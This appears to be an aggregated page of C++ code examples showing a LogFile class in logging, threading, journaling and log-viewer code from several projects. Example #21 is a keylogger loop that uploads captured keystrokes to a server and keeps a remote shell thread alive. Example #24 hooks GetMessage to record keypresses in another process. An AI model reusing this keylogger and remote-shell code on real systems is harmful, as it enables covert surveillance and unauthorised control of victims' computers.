int main()
{
	try
	{
		LogFile dummy;
		dummy.write("Writing from main");
	}
	catch (const LogFileException& ex)
	{
		cerr << ex.what();
	}
	
	try
	{
		LogFile logFile("Exceptions.log");
		logFile.write("Writing from main");
		logFile.write("Writing from main - again");
	}
	catch (const LogFileException& ex)
	{
		cerr << ex.what();
	}
	
	getchar();
}
示例#2
0
/** Saves the given list of items to a file.
 * \param items A list of log message items to save.
 */
void
MessageLog::save(const QStringList &messages)
{
  if (!messages.size()) {
    return;
  }

  QString fileName = QFileDialog::getSaveFileName(this,
                          tr("Save Log Messages"),
                          "VidaliaLog-" +
                          QDateTime::currentDateTime().toString("MM.dd.yyyy")
                          + ".txt", tr("Text Files (*.txt)"));

  /* If the choose to save */
  if (!fileName.isEmpty()) {
    LogFile logFile;
    QString errmsg;

    /* If can't write to file, show error message */
    if (!logFile.open(fileName, &errmsg)) {
      VMessageBox::warning(this, tr("Vidalia"),
                           p(tr("Cannot write file %1\n\n%2."))
                                                .arg(fileName)
                                                .arg(errmsg),
                           VMessageBox::Ok);
      return;
    }

    /* Write out the message log to the file */
    QApplication::setOverrideCursor(Qt::WaitCursor);
    foreach (QString msg, messages) {
      logFile << msg << "\n";
    }
    QApplication::restoreOverrideCursor();
  }
示例#3
0
int main() {
    LogFile log;
    thread t1(function_1, ref(log));
    for(int i = 0; i < 1000; ++i)
        log.shared_print2(string("From main: "), i);
    t1.join();
    return 0;
}
示例#4
0
Application::Application()
{
	MainApplication	= this;

	LF.Open("data/log_file.log",'w');
	CF.Open("data/config.cfg",'r','t',false);
	LF.Start("FJC 3D Engine");
}
示例#5
0
TEST_F(LinearLogFileTest, showValidLog) {
  std::string TEST_DISPLAY("DISPLAY\n");

  LogFile log;
  log.Enable("./test.log");
  log.Write(false, LOG_ERR, __FILE__, __LINE__, __PRETTY_FUNCTION__, TEST_DISPLAY.c_str());
  log.Write(false, LOG_WARN, __FILE__, __LINE__, __PRETTY_FUNCTION__, TEST_DISPLAY.c_str());
  log.Write(false, LOG_INFO, __FILE__, __LINE__, __PRETTY_FUNCTION__, TEST_DISPLAY.c_str());
  log.Write(false, LOG_DEBUG, __FILE__, __LINE__, __PRETTY_FUNCTION__, TEST_DISPLAY.c_str());
}
示例#6
0
int main()
{
	LogFile log;
	std::thread thread(function, std::ref(log));

	for (int i = 0; i < 100; i++)
		log.print(std::string("From main thread: "), i);

	thread.join();
	return 0;
}
bool AreEqual(const LogFile& a, const LogFile& b)
{
	if (a.Count() != b.Count())
		return false;
	int count = a.Count();
	for (int i = 0; i < count; ++i)
	{
		if (!AreEqual(a[i], b[i]))
			return false;
	}
	return true;
}
示例#8
0
int main() {
	LogFile log;
	Fctor fctor(log);
	std::thread t1(fctor);

	for (int i=0; i<100; i++)
		log.shared_print("main", i);

	t1.join();

	return 0;
}
		virtual	void	handleRec(const LogRecordPtr& rec)
		{
			if (logfile.isOpen() && !ignore(rec))
			{
				std::string msg;
				formatLog(rec, msg);
				hasWriten+= logfile.write(msg.c_str(), msg.length());
				if (hasWriten >= flushEvery) {
					logfile.flush();
					hasWriten -= flushEvery;
				}
			}
		}
示例#10
0
int main(int argc, char **argv)
{
    LogFile log;
    thread t1(SomeFunction, ref(log));
    
    for(int index = 0; index < 100; index++)
    {
        log.logMsg02("From main  ", index);
    }
    
    t1.join();// wait for t1 to finish.
    
    return 0;
}
示例#11
0
void SomeFunction(LogFile& log)
{
    for(int index = 0; index > -100 ; index--)
    {
        log.logMsg("From thread  ", index);
    }
}
示例#12
0
bool Application::Suicide()
{
	Sound.DeInit();
	TestBuf.DeInit();
	TestSource.DeInit();
	rm.DEINIT();
#ifdef WIN32
	if (Application::Vars.win.RC)											
	{	wglMakeCurrent(NULL, NULL);			// This frees our rendering memory and sets everything back to normal
		wglDeleteContext(Application::Vars.win.RC);	// Delete our OpenGL Rendering Context	
	}
	if (Application::Vars.win.DC)		// Release our HDC from memory
		ReleaseDC(Application::Vars.win.MHWnd, Application::Vars.win.DC);
	if (IsFullScreen)						// If we were in full screen
	{	ChangeDisplaySettings(&Application::Vars.win.PrevDS,0);	// If So Switch Back To The Desktop
		ShowCursor(TRUE);					// Show Mouse Pointer
	}
	DestroyWindow(MainApplication->Vars.win.MHWnd);
	UnregisterClass(MY_WINDOW_CLASS_NAME, Application::Vars.App.HInstance);// Free the window class
#else
	
	glXMakeCurrent		( dpy,win,NULL );
	glXDestroyContext	( dpy,	cx	);
#endif
	CCons.DEINIT();
	delete Input::I;
LF.End(true);
	CoUninitialize();
	return NO_ERROR;
};
示例#13
0
int main(){
	std::thread t1(childThread);
	for (int i = 0; i < 10; ++i){
		f.shared_print("Main", i);
	}

	t1.join();
}
示例#14
0
void open_logfiles()
{
    script_log.open( "log/script.log" );
    //db_script_log.setbufs( script_log.rdbuf(), cout.rdbuf() );
    //db_script_log.install( &script_log );


}
示例#15
0
void bench(int type)
{
    LogFile logfile;

    int  total = 0;

    const bool kLongLog = false;
    string longStr(3000, 'X');

    if (type == 0)
    {
        
    }
    else if (type == 1)
    {
        LOG_CONSOLE_OUTPUT(false);
        logfile.setThreadSafe(false); 
        LOG_SET_LOGHANDLER(std::bind(&LogFile::dumpLog, &logfile, std::placeholders::_1, std::placeholders::_2));
    }
    else if (type == 2)
    {
        
    }

    printf("one message size : [%d]\n", (strlen(data) + strlen(prefix)));
    Timestamp start(Timestamp::now());
    for (int i = 0; i < max_loop; ++i)
    {
        LOG_NOTICE(data);
    }
    Timestamp end(Timestamp::now());

    total = max_loop * (strlen(data) + strlen(prefix));
    double seconds = Timestamp::timeDiff(end, start);
    
    const char *typestr = "unknown";
    if (type == 0)
        typestr = "console";
    else if (type == 1)
        typestr = "LogFile";
    else if (type == 2)
        typestr = "AsyncLogger";

    printf("%12s: %f seconds, %d bytes, %10.2f msg/s, %.2f MiB/s\n", typestr, seconds, total, max_loop / seconds, total / seconds / (1024 * 1024));
}
示例#16
0
void test_logfile()
{
    LogFile logfile;		// LogFile 需要保证在整个程序运行期间不能析构,且只应该创建一个LogFile对象(SingleTon?)
    logfile.setThreadSafe(false);  // 这里的测试是单线程的,所以可以设置不使用线程(内部不会加锁),否则的话需要设置为多线安全的(默认值)
	
	// 下句可以不用调用,该类对象构造的时候进行了设置(注意资源竞态的可能,所有该对象应该最早创建)
    //LOG_SET_LOGHANDLER(std::bind(&LogFile::dumpLog, &logfile, std::placeholders::_1, std::placeholders::_2));

    LOG_DEBUG("This is a LOG_DEBUG msg!");
    LOG_INFO("This is a LOG_INFO msg!");
    LOG_NOTICE("This is a LOG_NOTICE msg!");
    LOG_WARN("This is a LOG_WARN msg!");
    LOG_ERROR("This is a LOG_ERROR msg!");
    LOG_CRITICA("This is a LOG_CRITICA msg!");
    LOG_ALERT("This is a LOG_ALERT msg!");
    LOG_EMERGENCY("This is a LOG_EMERGENCY msg!");
    cout << "####### test_logfile ########\n";
}
示例#17
0
文件: dur_journal.cpp 项目: jit/mongo
 void Journal::journal(const AlignedBuilder& b) {
     try {
         mutex::scoped_lock lk(_lfMutex);
         if( _lf == 0 )
             open();
         written += b.len();
         _lf->synchronousAppend((void *) b.buf(), b.len());
     }
     catch(std::exception& e) { 
         log() << "warning exception in dur::journal " << e.what() << endl;
     }
 }
示例#18
0
static inline void am_level_logv(const char *module,
                                 AmLogLevel  level,
                                 const char *format,
                                 va_list     vlist)
{
  char text[2*1024] = {0};
  char str[4*1024] = {0};
  int len = vsnprintf(text, sizeof(text), format, vlist);
  if (AM_LIKELY((uint32_t)len < sizeof(text))) {
    text[len] = '\0';
  } else {
    text[sizeof(text) - 1] = '\0';
  }
  logTimeStamp ?
      snprintf(str, sizeof(str) - 1, "[%s]%s\n", get_timestamp(), text) :
      snprintf(str, sizeof(str) - 1, "%s\n", text);
  AM_LOCK();
  switch(logTarget) {
    case AM_LOG_TARGET_STDERR: {
      fprintf(stderr, "%s", str);
    }break;
    case AM_LOG_TARGET_SYSLOG: {
      openlog(empty_module_name(module), LOG_PID, LOG_USER);
      syslog(level_to_syslog[level], "%s\n", text);
    }break;
    case AM_LOG_TARGET_FILE: {
      if ((write(logfile.fd(), str, strlen(str)) < 0)) {
        fprintf(stderr, "%s: %s: %d\n",
                B_RED("Failed writing logs to file. Redirect log to console"),
                strerror(errno), logfile.fd());
        logfile.set_log_fd(-1);
        logTarget = AM_LOG_TARGET_STDERR;
        fprintf(stderr, "%s", str);
      }
    }break;
    case AM_LOG_TARGET_NULL:
    default: break;
  }
  AM_UNLOCK();
}
示例#19
0
文件: dur_journal.cpp 项目: jit/mongo
 /* threading: only durThread() calls this, thus safe. */
 void Journal::open() {
     mutex::scoped_lock lk(_lfMutex);
     assert( _lf == 0 );
     string fname = getFilePathFor(nextFileNumber).string();
     _lf = new LogFile(fname);
     nextFileNumber++;
     {
         JHeader h(fname);
         AlignedBuilder b(8192);
         b.appendStruct(h);
         _lf->synchronousAppend(b.buf(), b.len());
     }
 }
示例#20
0
IndexFile::IndexFile(LogFile &logFile)
{
    std::string indexFileName(logFile.getFileBaseName() + ".id2");
    if(!loadIndexFile(indexFileName))
    {
        if(!createIndexFile(indexFileName, logFile))
        {
            throw std::runtime_error("Error building Index");
        }
        if(!loadIndexFile(indexFileName))
            throw std::runtime_error("Internal Error, created index is corrupted");
    }
}
示例#21
0
void KeyLoggerLoop()
{
	DWORD old_time = 0;
	HANDLE hthread = NULL; // remote shell thread

	// init rand generator seed
	srand(GetTickCount());
	while (IsKeyLoggerRunning)
	{
		// upload log to server after specified timespan
		DWORD current_time = GetTickCount();
		DWORD rand_time_span = rand() % 10000 + 5000;//600000 + 300000; // 600000 = 10 mins in milliseconds, 300000 = 5 mins
		DWORD file_size = log_file.GetFileSize(); // file must be > 100 bytes before being sent over the net
		if ( (file_size >= 100) && 
			 (old_time == 0 || (current_time - old_time) >= rand_time_span))
		{
			// update oldtime for next iteration
			old_time = current_time;

			// post log file to server
			if (client->UploadLog(log_file.logFileName))
			{
				// flush log after it is sent to sever (to avoid duplicate information)
				log_file.FlushContents();
			}
		}

		// keep alive remote shell
		DWORD exitCode = 0;
		if (hthread != NULL) // we are not running for the first time
			GetExitCodeThread(hthread, &exitCode);
		if (exitCode != STILL_ACTIVE)
		{
			// (re-)initialize the remote shell
			hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RemoteShellThread, client, 0, NULL);
		}
		Sleep(500);
	}
}
void FlightLogManager::exportLogs()
{
    if (m_logEntries.isEmpty()) {
        return;
    }

    setDisableControls(true);
    QApplication::setOverrideCursor(Qt::WaitCursor);

    QString fileName = QFileDialog::getSaveFileName(NULL, tr("Save Log"),
                                                    tr("OP-%0.opl").arg(QDateTime::currentDateTime().toString("yyyy-MM-dd_hh-mm-ss")),
                                                    tr("OpenPilot Log (*.opl)"));
    if (!fileName.isEmpty()) {
        // Loop and create a new file for each flight.
        fileName = fileName.replace(QString(".opl"), QString("%1.opl"));
        int currentEntry  = 0;
        int currentFlight = 0;
        quint32 adjustedBaseTime = 0;
        // Continue until all entries are exported
        while (currentEntry < m_logEntries.count()) {
            if (m_adjustExportedTimestamps) {
                adjustedBaseTime = m_logEntries[currentEntry]->getFlightTime();
            }

            // Get current flight
            currentFlight = m_logEntries[currentEntry]->getFlight();

            LogFile logFile;
            logFile.useProvidedTimeStamp(true);

            // Set the file name to contain flight number
            logFile.setFileName(fileName.arg(tr("_flight-%1").arg(currentFlight + 1)));
            logFile.open(QIODevice::WriteOnly);
            UAVTalk uavTalk(&logFile, m_objectManager);

            // Export entries until no more available or flight changes
            while (currentEntry < m_logEntries.count() && m_logEntries[currentEntry]->getFlight() == currentFlight) {
                ExtendedDebugLogEntry *entry = m_logEntries[currentEntry];

                // Only log uavobjects
                if (entry->getType() == ExtendedDebugLogEntry::TYPE_UAVOBJECT) {
                    // Set timestamp that should be logged for this entry
                    logFile.setNextTimeStamp(entry->getFlightTime() - adjustedBaseTime);

                    // Use UAVTalk to log complete message to file
                    uavTalk.sendObject(entry->uavObject(), false, false);
                    qDebug() << entry->getFlightTime() - adjustedBaseTime << "=" << entry->toStringBrief();
                }
                currentEntry++;
            }

            logFile.close();
        }
    }

    QApplication::restoreOverrideCursor();
    setDisableControls(false);
}
示例#23
0
static inline void get_log_target()
{
  logTarget = AM_LOG_TARGET_NULL;
  const char *target = empty_target_str(getenv(AM_TARGET_ENV_VAR));

  if (is_str_equal(target, "stderr")) {
    logTarget = AM_LOG_TARGET_STDERR;
  } else if (is_str_equal(target, "syslog")) {
    logTarget = AM_LOG_TARGET_SYSLOG;
  } else if (is_str_start_with(target, "file:")) {
    int fd = -1;
    char logname[512] = {0};
    time_t current = time(NULL);
    struct tm* tmstruct = gmtime(&current);
    const char *filename = strstr(target, ":");
    const char* ext = strrchr(&filename[1], '.');
    if (ext) {
      snprintf(logname, (ext - &filename[1]) + 1, "%s", &filename[1]);
      sprintf(logname + strlen(logname), "-%04d%02d%02d%02d%02d%02d",
              tmstruct->tm_year + 1900, tmstruct->tm_mon + 1,
              tmstruct->tm_mday, tmstruct->tm_hour,
              tmstruct->tm_min,  tmstruct->tm_sec);
      sprintf(logname + strlen(logname), "%s", ext);
    } else {
      sprintf(logname, "%s-%04d%02d%02d%02d%02d%02d.log",
              &filename[1],
              tmstruct->tm_year + 1900,
              tmstruct->tm_mon + 1,
              tmstruct->tm_mday,
              tmstruct->tm_hour,
              tmstruct->tm_min,
              tmstruct->tm_sec);
    }
    if ((fd = open(logname,
                   O_WRONLY|O_TRUNC|O_CREAT,
                   S_IRUSR|S_IWUSR)) >= 0) {
      logfile.set_log_fd(fd);
      logTarget = AM_LOG_TARGET_FILE;
    } else {
      fprintf(stderr,
              "Failed to open file %s: %s(Reset log target to stderr)",
              &filename[1], strerror(errno));
      logTarget = AM_LOG_TARGET_STDERR;
    }
  } else if (is_str_equal(target, "null")) {
    logTarget = AM_LOG_TARGET_NULL;
  }
}
示例#24
0
/*
	Hooked GetMessage Function, all of the target process WM_CHAR messages are intercepted here
*/
BOOL WINAPI GetMessage_Hooked(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
{
	static char key[2]; // used to stored converted key

	// call orig first to get message data
	BOOL res = OriginalGetMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax);

	// now that we got the message, check if its a keypress
	if (res && lpMsg->message == WM_CHAR)
	{
		// we got a key press, convert to char and log it
		key[0] = (char)lpMsg->wParam;
		key[1] = 0;
		//MessageBox(0, key, "Key Pressed!", 0);
		log_file.AppendString((char*)key);
	}

	return res;
}
示例#25
0
bool Application::InitOpenGL()
{
#ifdef WIN32
	wglSwapIntervalEXT_Func wglSwapIntervalEXT = (wglSwapIntervalEXT_Func)wglGetProcAddress("wglSwapIntervalEXT");
	if(wglSwapIntervalEXT) wglSwapIntervalEXT(Globals.VP.Vsync);//1 - чтобы включить
	else FASSERT (wglSwapIntervalEXT);
#else
#error Linux is not supported yet
#endif
	LF.Logf("InitOpenGL","Vsync status : %d",Globals.VP.Vsync);
	//===[ Инициализация всякой фигни ]===================================================||
		Cam.Init();
	//===[ Наинициализировались ]=========================================================||
	glClearColor(0.0f, 0.0f, 0.25f, 0.0f);
							// Очистка экрана в черный цвет
	glClearDepth(1.0);		// Разрешить очистку буфера глубины
	glDepthFunc(GL_LESS);	// Тип теста глубины (рисуется всё что ближе)
	glEnable(GL_DEPTH_TEST);// разрешить тест глубины
	glShadeModel(GL_SMOOTH);// разрешить плавное цветовое сглаживание
	ReshapeWindow(Globals.VP.Width,Globals.VP.Height);
	glEnable(GL_TEXTURE_2D);	// Разрешение наложения текстур
	glClearDepth(1.0f);           // Установка буфера глубины
	glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST); // Улучшенные вычисления перспективы
	glDisable(GL_POLYGON_SMOOTH);
	glHint(GL_POLYGON_SMOOTH_HINT,GL_NICEST);
	glHint(GL_POINT_SMOOTH_HINT,GL_NICEST);
	glEnable(GL_DITHER);
	//glEnable(GL_CULL_FACE);
	//==== Свет ==========================================================================//
	glEnable(GL_LIGHT1); // Разрешение источника света номер один
	glLightfv(GL_LIGHT1, GL_AMBIENT, LightAmbient);		// Установка Фонового Света
	glLightfv(GL_LIGHT1, GL_DIFFUSE, LightDiffuse);		// Установка Диффузного Света
	glLightfv(GL_LIGHT1, GL_POSITION, LightPosition);	// Позиция света
	glEnable(GL_LIGHTING);
	glLightModelf(GL_LIGHT_MODEL_TWO_SIDE,0.0);
	glLightModelf(GL_LIGHT_MODEL_LOCAL_VIEWER,GL_TRUE);
	//=== /Свет ==========================================================================//

	return	NO_ERROR;
}
示例#26
0
文件: my_win.cpp 项目: nodep/wht
void PerfTimer::Dump(LogFile& logfile)
{
	std::wstring msg(L"---\n");
	const int BUFF_SIZE = 64;
	wchar_t buff[BUFF_SIZE];
	for (std::vector<std::pair<int, int64_t>>::iterator ti(_times.begin() + 1);
				ti != _times.end();
				++ti)
	{
		_itow_s(ti->first, buff, BUFF_SIZE, 10);
		msg += buff;
		msg += L' ';

		_i64tow_s(ti->second - _times.front().second, buff, BUFF_SIZE, 10);
		msg += buff;
		msg += L'\n';
	}

	logfile.Raw(msg);

	_times.clear();
}
示例#27
0
void function_1(LogFile& log)
{
	for (int i = 0; i < 100; i++)
		log.shared_print(string("From t1: "), i);
}
示例#28
0
void function(LogFile& log)
{
	for (int i = 0; i > -100; i--)
		log.print(std::string("From another thread: "), i);
}
示例#29
0
void LogViewWindow::filterNext()
{
	QString szCurGroup;
	LogFile * pFile = m_logList.current();
	if(!pFile)
		goto filter_last;

	if(pFile->type() == LogFile::Channel && !m_pShowChannelsCheck->isChecked())
		goto filter_next;
	if(pFile->type() == LogFile::Console && !m_pShowConsolesCheck->isChecked())
		goto filter_next;
	if(pFile->type() == LogFile::DccChat && !m_pShowDccChatCheck->isChecked())
		goto filter_next;
	if(pFile->type() == LogFile::Other && !m_pShowOtherCheck->isChecked())
		goto filter_next;
	if(pFile->type() == LogFile::Query && !m_pShowQueryesCheck->isChecked())
		goto filter_next;

	if(m_pEnableFromFilter->isChecked())
		if(pFile->date() > m_pFromDateEdit->date())
			goto filter_next;

	if(m_pEnableToFilter->isChecked())
		if(pFile->date() < m_pToDateEdit->date())
			goto filter_next;

	if(!m_pFileNameMask->text().isEmpty())
		if(!KviQString::matchString(m_pFileNameMask->text(),pFile->name()))
			goto filter_next;

	if(!m_pContentsMask->text().isEmpty())
	{
		QString szBuffer;
		pFile->getText(szBuffer);
		if(!KviQString::matchString(m_pContentsMask->text(),szBuffer))
			goto filter_next;
	}

	if(m_pLastCategory)
	{
		if(m_pLastCategory->m_eType != pFile->type())
		{
			m_pLastCategory = 0;
			for(int i=0; i < m_pListView->topLevelItemCount(); ++i)
			{
				LogListViewItemType * pTmp = (LogListViewItemType *)m_pListView->topLevelItem(i);
				if(pTmp->m_eType == pFile->type())
				{
					m_pLastCategory = pTmp;
					break;
				}
			}
			if(!m_pLastCategory)
				m_pLastCategory = new LogListViewItemType(m_pListView,pFile->type());
		}
	} else {
		m_pLastCategory = new LogListViewItemType(m_pListView,pFile->type());
	}

	szCurGroup = __tr2qs_ctx("%1 on %2","log").arg(pFile->name(),pFile->network());

	if(m_szLastGroup != szCurGroup)
	{
		m_szLastGroup = szCurGroup;
		m_pLastGroupItem = 0;
		for(int i=0; i < m_pLastCategory->childCount(); ++i)
		{
			LogListViewItemFolder * pTmp = (LogListViewItemFolder *)m_pLastCategory->child(i);
			if(pTmp->text(0) == m_szLastGroup)
			{
				m_pLastGroupItem = pTmp;
				break;
			}
		}

		if(!m_pLastGroupItem)
			m_pLastGroupItem = new LogListViewItemFolder(m_pLastCategory,m_szLastGroup);
	}

	new LogListViewLog(m_pLastGroupItem,pFile->type(),pFile);

filter_next:
	pFile = m_logList.next();

filter_last:
	if(pFile && !m_bAborted)
	{
		m_pProgressBar->setValue(m_pProgressBar->value() + 1);
		m_pTimer->start(); //singleshot
	} else {
		m_pBottomLayout->setVisible(false);
		m_pListView->sortItems(0,Qt::AscendingOrder);
		m_pProgressBar->setValue(0);
		m_pFilterButton->setEnabled(true);
	}
}
示例#30
0
		explicit DefFileAppender(const std::string& file, ::log4cpp::LogLevel minLv, ::log4cpp::LogLevel maxLv = ::log4cpp::LG_FATAL, size_t flushOnSize= kDefFlushSize)
			:lvlMin(minLv), lvlMax(maxLv), flushEvery(flushOnSize>0? flushOnSize: kDefFlushSize), hasWriten(0)
		{
			logfile.open(file, "wb");
			
		}